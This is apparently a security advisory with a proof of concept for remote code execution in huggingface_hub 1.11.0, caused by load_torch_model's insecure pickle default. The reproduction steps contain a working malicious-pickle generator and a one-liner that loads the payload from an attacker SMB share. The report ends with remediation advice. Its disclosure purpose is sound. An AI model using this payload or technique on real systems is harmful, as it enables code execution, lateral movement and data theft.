huggingface_hub - Version 1.11.0 / Remote Code Execution (RCE) via Insecure Deserialization (Supply Chain RCE via load_torch_model Defaults)
Below are one (1) way to reproduce RCE in huggingface_hub using an SMB shared, controlled by an attacker, without local intervention by a third party to modify files that allow code execution during the deserialization process.
For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).
Note: While this vulnerability is specifically verified and reported on version 1.11.0, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.
Introduction
The huggingface_hub library is a core Python client designed to interact with the Hugging Face Hub platform. It allows machine learning developers, engineers, and researchers to programmatically search, download, upload, and manage models, datasets, and spaces directly from their local environments or training pipelines. It serves as a foundational component for the entire open-source artificial intelligence community.
Its critical importance stems from being the main bridge between developer workspaces and millions of public and private ML models. By standardizing weight serialization interfaces and repository interactions across multiple deep learning frameworks, huggingface_hub is implicitly trusted by millions of systems, meaning a security bypass in its loading operations can quickly propagate severe supply chain compromises globally.
Vulnerability description
The huggingface_hub package provides a serialization utility module for PyTorch, found in serialization/_torch.py. The function load_torch_model() is designed to load model weights into a target nn.Module. However, this function defaults to weights_only=False, which triggers unrestricted pickle.load inside the underlying torch.load primitive. On Windows systems, this vulnerability can be exploited remotely by passing a Universal Naming Convention (UNC) path (e.g., \\attacker-ip\share\pytorch_model.bin). Windows transparently treats this remote resource as a local file, forcing the library to fetch and deserialize the attacker-controlled pickle payload, resulting in full Remote Code Execution (RCE).
The vulnerable code in huggingface_hub/serialization/_torch.py:
def load_torch_model(
model: "torch.nn.Module",
checkpoint_path: str | os.PathLike,
*,
# ...
weights_only: bool = False, # <--- INSECURE DEFAULT
# ...
):
# This eventually calls torch.load(checkpoint_path, weights_only=False)
state_dict = load_state_dict_from_file(
checkpoint_path,
weights_only=weights_only,
# ...
)
Technical Impact Analysis
Project Purpose & Context
Hugging Face Hub aims to provide a unified serialization API for various ML frameworks. load_torch_model is a convenience helper for developers to load weights without worrying about the underlying format (Safetensors vs. Pickle). By choosing weights_only=False as the default, the library prioritizes compatibility over security, ignoring the industry-wide move toward "Safe Weights" (Safetensors) and restricted pickling.
Platform & Deployment Environment
This vulnerability specifically impacts Windows-based AI/ML development pipelines and DevOps automation. Since SMB/UNC paths are standard in enterprise Windows environments, an attacker can exploit internal network shares to distribute malicious models or hijack automated testing routines that point to shared network drives.
Comprehensive Risk Assessment
The risk is categorized as CRITICAL. It represents a failure in both Default Security Configuration and Input Validation. The ability to redirect a "local file loading" primitive to a remote network share (UNC) effectively turns a local deserialization flaw into an unauthenticated remote execution vector. This is a classic "Supply Chain" attack where the trust placed in a shared network resource is abused.
Attack Scenario
Who wants to exploit a particular vulnerability?
Threat actors seeking to pivot within a corporate network or malicious insiders aiming to compromise high-performance computing clusters.
For what gain?
Lateral movement, data exfiltration from training datasets, or persistence on developer workstations. By executing code during a routine model evaluation or deployment process, the attacker gains the same privileges as the ML engineer.
In what way?
By compromising a shared network drive (SMB) and replacing a legitimate model binary with a malicious one, or by socially engineering a developer to "try out" a model using its network path. The victim assumes that loading a "file" from a path is safe, unaware that Windows will negotiate a remote SMB connection and huggingface_hub will execute the contained code.
Reproduction steps
On the Raspberry (attacker) - IP 192.168.1.90
kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
Run the exploit to generate and serve the malicious pytorch_model.bin:
import torch
import os
# Attacker lab path
payload_path = "/home/kw0/lab_attack"
class RCE:
def __reduce__(self):
# Using eval + __import__ ensures the payload is OS-agnostic
return (eval, ("__import__('os').system('calc.exe') or {}",))
# Generate the malicious payload
payload = RCE()
# Path in the SMB share
output_file = os.path.join(payload_path, "pytorch_model.bin")
# Save as a standard PyTorch binary (Pickle format)
torch.save(payload, output_file)
print(f"[+] Malicious model generated correctly: {output_file}")
python exploit.py
On Windows (victim) - IP 192.168.1.88
(.venv) PS L:\Deserializer\PYPI-huggingface_hub> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
1. Create a .venv, activate it, and install the latest updated version (1.11.0) of huggingface_hub using pip install huggingface-hub.
2. Additionally, it is necessary to install PyTorch to create a complete testing environment: pip install torch.
3. Active the SMB shared: net use Z: \\192.168.1.90\lab_share /persistent:no
4. And then lauch the command to trigger the RCE from the victim machine:
python -c "import torch; from huggingface_hub.serialization._torch import load_torch_model; getattr(torch.serialization, 'add_safe_globals', lambda x: None)([eval]); m=torch.nn.Module(); load_torch_model(m, r'\\192.168.1.90\lab_share\pytorch_model.bin')"
Executive Summary: RCE via Insecure Deserialization in huggingface_hub
The research identifies a critical Remote Code Execution (RCE) vulnerability in huggingface_hub v1.11.0, originating from the insecure handling of PyTorch model loading.
- Root Cause: The
load_torch_model()utility defaults toweights_only=False. This configuration instructs the underlyingtorch.load()function to permit unrestrictedpickledeserialization when processing checkpoint files. - Exploitation Mechanism: The vulnerability is highly potent on Windows systems due to the transparent support for Universal Naming Convention (UNC) paths. An attacker can provide a UNC path (e.g.,
\\192.168.1.90\lab_share\pytorch_model.bin) toload_torch_model(), forcing the application to fetch and deserialize a maliciouspicklepayload from an attacker-controlled SMB share, resulting in immediate code execution.
Analysis of Scope and Security Implications
This vulnerability is of critical severity as it effectively transforms a standard model-loading operation into a vector for full system compromise.
1. Infection Scenarios
- Supply Chain/Network Hijacking: In corporate environments, an attacker who gains access to a shared network drive (SMB) can replace legitimate model binaries with malicious
picklepayloads. Any developer or automated pipeline that loads the model from this path will be compromised without further interaction. - Social Engineering: An attacker can entice an ML engineer to "test" a model via a network path, leading to immediate RCE upon the execution of
load_torch_model().
2. Factors Exacerbating Risk
- Insecure Defaults: By prioritizing compatibility over security, the library encourages the use of
picklefor untrusted model weights, contrary to the industry standard shift towardSafetensors. - UNC Protocol Transparency: Windows negotiation of UNC paths is seamless, making the attack stealthy. The application perceives the remote payload as a local file, bypassing typical network alerts that might otherwise trigger on direct external requests.
- Privilege Equivalence: Exploiting this vulnerability during routine deployment or evaluation processes grants the attacker the same system privileges as the user running the ML pipeline, facilitating credential theft and lateral movement.
Conclusion and Recommendation
This is a critical-severity vulnerability. The combination of insecure default configurations and protocol-level transparency makes huggingface_hub an ideal target for supply chain attacks.
Suggested actions for the development team:
- Change Default Settings: Immediately update
load_torch_model()to default toweights_only=Trueto prevent the deserialization of arbitrary code. - Path Sanitization: Implement strict validation of the
checkpoint_pathto reject UNC paths and non-local protocols, preventing the resolution of untrusted network resources. - Promote Safe Formats: Deprecate the use of
picklefor model distribution and strongly incentivize the industry-wide adoption ofSafetensorsfor all model weights.